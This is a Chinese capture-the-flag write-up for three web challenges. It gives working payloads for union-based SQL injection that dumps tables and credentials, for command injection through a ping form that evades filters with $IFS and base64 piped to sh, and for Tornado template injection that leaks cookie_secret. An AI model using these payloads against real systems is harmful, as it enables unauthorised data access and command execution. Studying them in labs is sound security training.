一、LoveSQL
看到这个页面首先想到的就是万能密码呀,看到上面的一句话‘用sqlmap是没用灵魂的’ 英雄所见略同,说明就是手注么!
万能密码输入
发现可以注入,然后判断闭合符号和列数,
当输入
?username=admin' order by 4 #&password=1
发现报错没有第四列,而order by 3时却正常回显,说明只有三列
然后开始寻找注入点
?username=1' union select 1,2,3%23&password=1
这里不能username=admin,会回显不出注入点,而且只能用%23不能用#,可能#号被禁用了吧,%23能绕过,也有可能# &两个字符不能同时出现,希望大佬留言可以解答 叩谢!
发现2.3都是注入点
?username=1' union select 1,database(),3%23&password=1
库是geek
?username=1' union select 1,database(),group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
得到表
?username=1' union select 1,database(),group_concat(column_name) from information_schema.columns where table_name='l0ve1ysq1'%23&password=1
注意这里的爆列时,库要用单引号扩起来
得到字段里的内容 id username password
?username=1' union select 1,database(),group_concat(id,username,password) from l0ve1ysq1%23&password=1
得到flag, flag不给
二、Ping Ping Ping
这个题发现考的比较全面 能够学到很多东西!
首先看到界面,然后让你ping ip地址,ping一下127.0.0.1
然后ls一下看一下所有目录
然后cat /flag
然后回显 确认你的符号 说明有的符号可能过滤了
然后cat /index
说明过滤了空格,空格可以用 ${IFS}$
代替
发现不行,可能是过滤了{ } ,用 $IFS$1
试一下
这里能明显的看见过滤的所有东西,bash flag字眼也没了,这里咱们试一下sh
?ip=127.0.0.1;echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
Y2F0IGZsYWcucGhw是cat flag.php的base64-encode
这里后面的 |base64 -d|sh。 base64 -d 表示:从标准输入中读取已经进行base64编码的内容,解码输出。 “|”是管道符,代表将它左边的命令产生的输出作为标准输出,再作为右边命令的标准输入。 这里应该是把左边base64解码出的“cat flag.php”指令交给右边sh去执行。最终才会返回flag。
也可以拼接来实现
?ip=127.0.0.1;a=g;cat$IFS$1fla$a.php
然后这里补充一下,.*?
表示匹配到后面的一切字符,就结束。(非贪婪模式),flag四个字母逐个读,所以不能a=ag ,cat$IFS$1fl$a.php
会出现报错,而且正则匹配,匹配一个字符串中,会按照是否按顺序出现过flag四个字母。
就比如
?ip=127.0.0.1;a=a;cat$IFS$1fl$ag.php 就会出现报错
三、easy_tornado
打开flag.txt,发现flag in /fllllllllllllag
打开welcome.txt
打开hints.txt
现在filename=/fllllllllllllag,只需要知道cookie_secret的既能访问flag。
构造payload获取cookie_secret
/error?msg={{handler.settings}}
'cookie_secret': 'M)Z.>}{O]lYIp(oW7$dc132uDaK<C%wqj@PA![VtR#geh9UHsbnL_+mT5N~J84*r'
最后构造payload
···
file?filename=/fllllllllllllag&filehash=70aed71508e50d160a73756a21e9953d
···